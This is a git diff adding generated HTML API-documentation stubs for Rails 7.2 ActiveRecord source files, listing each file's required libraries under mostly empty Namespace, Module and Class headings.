diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/properties_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/properties_rb.html new file mode 100644 index 0000000000..fd7244192a --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/properties_rb.html @@ -0,0 +1,81 @@ +--- +title: properties.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/read_only_null_encryptor_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/read_only_null_encryptor_rb.html new file mode 100644 index 0000000000..16989e5b8c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/read_only_null_encryptor_rb.html @@ -0,0 +1,81 @@ +--- +title: read_only_null_encryptor.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/scheme_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/scheme_rb.html new file mode 100644 index 0000000000..87f54a5a9d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/scheme_rb.html @@ -0,0 +1,81 @@ +--- +title: scheme.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption_rb.html new file mode 100644 index 0000000000..60272931e1 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption_rb.html @@ -0,0 +1,89 @@ +--- +title: encryption.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module
  • + +
  • active_support/core_ext/array
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/enum_rb.html b/src/7.2/files/activerecord/lib/active_record/enum_rb.html new file mode 100644 index 0000000000..96ab22b94c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/enum_rb.html @@ -0,0 +1,86 @@ +--- +title: enum.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/slice
  • + +
  • active_support/core_ext/object/deep_dup
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/errors_rb.html b/src/7.2/files/activerecord/lib/active_record/errors_rb.html new file mode 100644 index 0000000000..4ced441ce5 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/errors_rb.html @@ -0,0 +1,195 @@ +--- +title: errors.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/deprecation
  • + +
  • active_record/associations/errors
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/explain_rb.html b/src/7.2/files/activerecord/lib/active_record/explain_rb.html new file mode 100644 index 0000000000..f76d15b610 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/explain_rb.html @@ -0,0 +1,82 @@ +--- +title: explain.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/explain_registry
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/explain_registry_rb.html b/src/7.2/files/activerecord/lib/active_record/explain_registry_rb.html new file mode 100644 index 0000000000..e4685078e4 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/explain_registry_rb.html @@ -0,0 +1,80 @@ +--- +title: explain_registry.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/delegation
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/explain_subscriber_rb.html b/src/7.2/files/activerecord/lib/active_record/explain_subscriber_rb.html new file mode 100644 index 0000000000..3ba37d6e3b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/explain_subscriber_rb.html @@ -0,0 +1,82 @@ +--- +title: explain_subscriber.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/notifications
  • + +
  • active_record/explain_registry
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/fixture_set/file_rb.html b/src/7.2/files/activerecord/lib/active_record/fixture_set/file_rb.html new file mode 100644 index 0000000000..c0a9ccdc72 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/fixture_set/file_rb.html @@ -0,0 +1,87 @@ +--- +title: file.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/configuration_file
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/fixture_set/model_metadata_rb.html b/src/7.2/files/activerecord/lib/active_record/fixture_set/model_metadata_rb.html new file mode 100644 index 0000000000..88392db183 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/fixture_set/model_metadata_rb.html @@ -0,0 +1,77 @@ +--- +title: model_metadata.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/fixture_set/render_context_rb.html b/src/7.2/files/activerecord/lib/active_record/fixture_set/render_context_rb.html new file mode 100644 index 0000000000..0e99856887 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/fixture_set/render_context_rb.html @@ -0,0 +1,85 @@ +--- +title: render_context.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • base64
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/fixture_set/table_row_rb.html b/src/7.2/files/activerecord/lib/active_record/fixture_set/table_row_rb.html new file mode 100644 index 0000000000..5f648e74fd --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/fixture_set/table_row_rb.html @@ -0,0 +1,77 @@ +--- +title: table_row.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/fixture_set/table_rows_rb.html b/src/7.2/files/activerecord/lib/active_record/fixture_set/table_rows_rb.html new file mode 100644 index 0000000000..b3e523b29d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/fixture_set/table_rows_rb.html @@ -0,0 +1,87 @@ +--- +title: table_rows.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/fixture_set/table_row
  • + +
  • active_record/fixture_set/model_metadata
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/fixtures_rb.html b/src/7.2/files/activerecord/lib/active_record/fixtures_rb.html new file mode 100644 index 0000000000..3642b78290 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/fixtures_rb.html @@ -0,0 +1,105 @@ +--- +title: fixtures.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • erb
  • + +
  • yaml
  • + +
  • zlib
  • + +
  • set
  • + +
  • active_support/dependencies
  • + +
  • active_support/core_ext/digest/uuid
  • + +
  • active_record/test_fixtures
  • + +
  • active_record/fixture_set/file
  • + +
  • active_record/fixture_set/render_context
  • + +
  • active_record/fixture_set/table_rows
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/future_result_rb.html b/src/7.2/files/activerecord/lib/active_record/future_result_rb.html new file mode 100644 index 0000000000..300e2b99a9 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/future_result_rb.html @@ -0,0 +1,85 @@ +--- +title: future_result.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/gem_version_rb.html b/src/7.2/files/activerecord/lib/active_record/gem_version_rb.html new file mode 100644 index 0000000000..260458bed6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/inheritance_rb.html b/src/7.2/files/activerecord/lib/active_record/inheritance_rb.html new file mode 100644 index 0000000000..0cf2a0174e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/inheritance_rb.html @@ -0,0 +1,84 @@ +--- +title: inheritance.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/inflector
  • + +
  • active_support/core_ext/hash/indifferent_access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/insert_all_rb.html b/src/7.2/files/activerecord/lib/active_record/insert_all_rb.html new file mode 100644 index 0000000000..36df3a7d79 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/insert_all_rb.html @@ -0,0 +1,82 @@ +--- +title: insert_all.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/integration_rb.html b/src/7.2/files/activerecord/lib/active_record/integration_rb.html new file mode 100644 index 0000000000..e77861d818 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/integration_rb.html @@ -0,0 +1,84 @@ +--- +title: integration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/filters
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/internal_metadata_rb.html b/src/7.2/files/activerecord/lib/active_record/internal_metadata_rb.html new file mode 100644 index 0000000000..a5cfa24964 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/internal_metadata_rb.html @@ -0,0 +1,82 @@ +--- +title: internal_metadata.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/scoping/default
  • + +
  • active_record/scoping/named
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/legacy_yaml_adapter_rb.html b/src/7.2/files/activerecord/lib/active_record/legacy_yaml_adapter_rb.html new file mode 100644 index 0000000000..42b289ebad --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/legacy_yaml_adapter_rb.html @@ -0,0 +1,70 @@ +--- +title: legacy_yaml_adapter.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/locking/optimistic_rb.html b/src/7.2/files/activerecord/lib/active_record/locking/optimistic_rb.html new file mode 100644 index 0000000000..12229119dd --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/locking/optimistic_rb.html @@ -0,0 +1,76 @@ +--- +title: optimistic.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/locking/pessimistic_rb.html b/src/7.2/files/activerecord/lib/active_record/locking/pessimistic_rb.html new file mode 100644 index 0000000000..e12e6f8457 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/locking/pessimistic_rb.html @@ -0,0 +1,74 @@ +--- +title: pessimistic.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/log_subscriber_rb.html b/src/7.2/files/activerecord/lib/active_record/log_subscriber_rb.html new file mode 100644 index 0000000000..6e501cf304 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/log_subscriber_rb.html @@ -0,0 +1,81 @@ +--- +title: log_subscriber.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/marshalling_rb.html b/src/7.2/files/activerecord/lib/active_record/marshalling_rb.html new file mode 100644 index 0000000000..1250e6d399 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/marshalling_rb.html @@ -0,0 +1,74 @@ +--- +title: marshalling.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/message_pack_rb.html b/src/7.2/files/activerecord/lib/active_record/message_pack_rb.html new file mode 100644 index 0000000000..b9f3d30b60 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/message_pack_rb.html @@ -0,0 +1,91 @@ +--- +title: message_pack.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/middleware/database_selector/resolver/session_rb.html b/src/7.2/files/activerecord/lib/active_record/middleware/database_selector/resolver/session_rb.html new file mode 100644 index 0000000000..5551f2719b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/middleware/database_selector/resolver/session_rb.html @@ -0,0 +1,79 @@ +--- +title: session.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/middleware/database_selector/resolver_rb.html b/src/7.2/files/activerecord/lib/active_record/middleware/database_selector/resolver_rb.html new file mode 100644 index 0000000000..ed3e7f4778 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/middleware/database_selector/resolver_rb.html @@ -0,0 +1,91 @@ +--- +title: resolver.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/middleware/database_selector/resolver/session
  • + +
  • active_support/core_ext/numeric/time
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/middleware/database_selector_rb.html b/src/7.2/files/activerecord/lib/active_record/middleware/database_selector_rb.html new file mode 100644 index 0000000000..1c4adb146d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/middleware/database_selector_rb.html @@ -0,0 +1,89 @@ +--- +title: database_selector.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/middleware/database_selector/resolver
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/middleware/shard_selector_rb.html b/src/7.2/files/activerecord/lib/active_record/middleware/shard_selector_rb.html new file mode 100644 index 0000000000..47a2baef58 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/middleware/shard_selector_rb.html @@ -0,0 +1,81 @@ +--- +title: shard_selector.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/migration/command_recorder_rb.html b/src/7.2/files/activerecord/lib/active_record/migration/command_recorder_rb.html new file mode 100644 index 0000000000..719ed5a908 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/migration/command_recorder_rb.html @@ -0,0 +1,79 @@ +--- +title: command_recorder.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/migration/compatibility_rb.html b/src/7.2/files/activerecord/lib/active_record/migration/compatibility_rb.html new file mode 100644 index 0000000000..90552d03dd --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/migration/compatibility_rb.html @@ -0,0 +1,115 @@ +--- +title: compatibility.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/migration/default_strategy_rb.html b/src/7.2/files/activerecord/lib/active_record/migration/default_strategy_rb.html new file mode 100644 index 0000000000..6999617090 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/migration/default_strategy_rb.html @@ -0,0 +1,77 @@ +--- +title: default_strategy.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/migration/execution_strategy_rb.html b/src/7.2/files/activerecord/lib/active_record/migration/execution_strategy_rb.html new file mode 100644 index 0000000000..1919899dd7 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/migration/execution_strategy_rb.html @@ -0,0 +1,77 @@ +--- +title: execution_strategy.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/migration/join_table_rb.html b/src/7.2/files/activerecord/lib/active_record/migration/join_table_rb.html new file mode 100644 index 0000000000..c9e05ae32c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/migration/join_table_rb.html @@ -0,0 +1,77 @@ +--- +title: join_table.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/migration/pending_migration_connection_rb.html b/src/7.2/files/activerecord/lib/active_record/migration/pending_migration_connection_rb.html new file mode 100644 index 0000000000..cbc47a1750 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/migration/pending_migration_connection_rb.html @@ -0,0 +1,70 @@ +--- +title: pending_migration_connection.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/migration_rb.html b/src/7.2/files/activerecord/lib/active_record/migration_rb.html new file mode 100644 index 0000000000..896ffb59c7 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/migration_rb.html @@ -0,0 +1,113 @@ +--- +title: migration.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • benchmark
  • + +
  • set
  • + +
  • zlib
  • + +
  • active_support/core_ext/array/access
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/module/attribute_accessors
  • + +
  • active_support/actionable_error
  • + +
  • active_record/migration/pending_migration_connection
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/model_schema_rb.html b/src/7.2/files/activerecord/lib/active_record/model_schema_rb.html new file mode 100644 index 0000000000..fddc12e370 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/model_schema_rb.html @@ -0,0 +1,86 @@ +--- +title: model_schema.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • monitor
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/nested_attributes_rb.html b/src/7.2/files/activerecord/lib/active_record/nested_attributes_rb.html new file mode 100644 index 0000000000..fde7bd7098 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/nested_attributes_rb.html @@ -0,0 +1,93 @@ +--- +title: nested_attributes.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/hash/except
  • + +
  • active_support/core_ext/module/redefine_method
  • + +
  • active_support/core_ext/hash/indifferent_access
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/no_touching_rb.html b/src/7.2/files/activerecord/lib/active_record/no_touching_rb.html new file mode 100644 index 0000000000..ae22d173d6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/no_touching_rb.html @@ -0,0 +1,76 @@ +--- +title: no_touching.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/normalization_rb.html b/src/7.2/files/activerecord/lib/active_record/normalization_rb.html new file mode 100644 index 0000000000..bf682ec5b8 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/normalization_rb.html @@ -0,0 +1,78 @@ +--- +title: normalization.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/persistence_rb.html b/src/7.2/files/activerecord/lib/active_record/persistence_rb.html new file mode 100644 index 0000000000..dabd176058 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/persistence_rb.html @@ -0,0 +1,84 @@ +--- +title: persistence.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/insert_all
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/promise_rb.html b/src/7.2/files/activerecord/lib/active_record/promise_rb.html new file mode 100644 index 0000000000..7ee419d4fc --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/promise_rb.html @@ -0,0 +1,77 @@ +--- +title: promise.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/query_cache_rb.html b/src/7.2/files/activerecord/lib/active_record/query_cache_rb.html new file mode 100644 index 0000000000..b7e8e1ac92 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/query_cache_rb.html @@ -0,0 +1,79 @@ +--- +title: query_cache.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/query_logs_formatter_rb.html b/src/7.2/files/activerecord/lib/active_record/query_logs_formatter_rb.html new file mode 100644 index 0000000000..1060ce0bf6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/query_logs_formatter_rb.html @@ -0,0 +1,72 @@ +--- +title: query_logs_formatter.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/query_logs_rb.html b/src/7.2/files/activerecord/lib/active_record/query_logs_rb.html new file mode 100644 index 0000000000..bd84a53deb --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/query_logs_rb.html @@ -0,0 +1,84 @@ +--- +title: query_logs.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attribute_accessors_per_thread
  • + +
  • active_record/query_logs_formatter
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/querying_rb.html b/src/7.2/files/activerecord/lib/active_record/querying_rb.html new file mode 100644 index 0000000000..6101d2e28c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/querying_rb.html @@ -0,0 +1,74 @@ +--- +title: querying.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/railtie_rb.html b/src/7.2/files/activerecord/lib/active_record/railtie_rb.html new file mode 100644 index 0000000000..31f30e1f44 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/railtie_rb.html @@ -0,0 +1,121 @@ +--- +title: railtie.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record
  • + +
  • rails
  • + +
  • active_support/core_ext/object/try
  • + +
  • active_model/railtie
  • + +
  • action_controller/railtie
  • + +
  • active_record/railties/console_sandbox
  • + +
  • active_record/base
  • + +
  • active_record/base
  • + +
  • active_record/relation/record_fetch_warning
  • + +
  • active_record/railties/controller_runtime
  • + +
  • active_record/railties/job_runtime
  • + +
  • active_record/message_pack
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/railties/console_sandbox_rb.html b/src/7.2/files/activerecord/lib/active_record/railties/console_sandbox_rb.html new file mode 100644 index 0000000000..2620458dfc --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/railties/console_sandbox_rb.html @@ -0,0 +1,72 @@ +--- +title: console_sandbox.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/railties/controller_runtime_rb.html b/src/7.2/files/activerecord/lib/active_record/railties/controller_runtime_rb.html new file mode 100644 index 0000000000..1f71c324a8 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/railties/controller_runtime_rb.html @@ -0,0 +1,80 @@ +--- +title: controller_runtime.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/module/attr_internal
  • + +
  • active_record/runtime_registry
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/railties/job_runtime_rb.html b/src/7.2/files/activerecord/lib/active_record/railties/job_runtime_rb.html new file mode 100644 index 0000000000..b88bc04170 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/railties/job_runtime_rb.html @@ -0,0 +1,78 @@ +--- +title: job_runtime.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/runtime_registry
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/readonly_attributes_rb.html b/src/7.2/files/activerecord/lib/active_record/readonly_attributes_rb.html new file mode 100644 index 0000000000..51d4bf1ac9 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/readonly_attributes_rb.html @@ -0,0 +1,81 @@ +--- +title: readonly_attributes.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/reflection_rb.html b/src/7.2/files/activerecord/lib/active_record/reflection_rb.html new file mode 100644 index 0000000000..cf85ae7079 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/reflection_rb.html @@ -0,0 +1,93 @@ +--- +title: reflection.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/filters
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/relation/batches/batch_enumerator_rb.html b/src/7.2/files/activerecord/lib/active_record/relation/batches/batch_enumerator_rb.html new file mode 100644 index 0000000000..395583ae20 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/relation/batches/batch_enumerator_rb.html @@ -0,0 +1,79 @@ +--- +title: batch_enumerator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
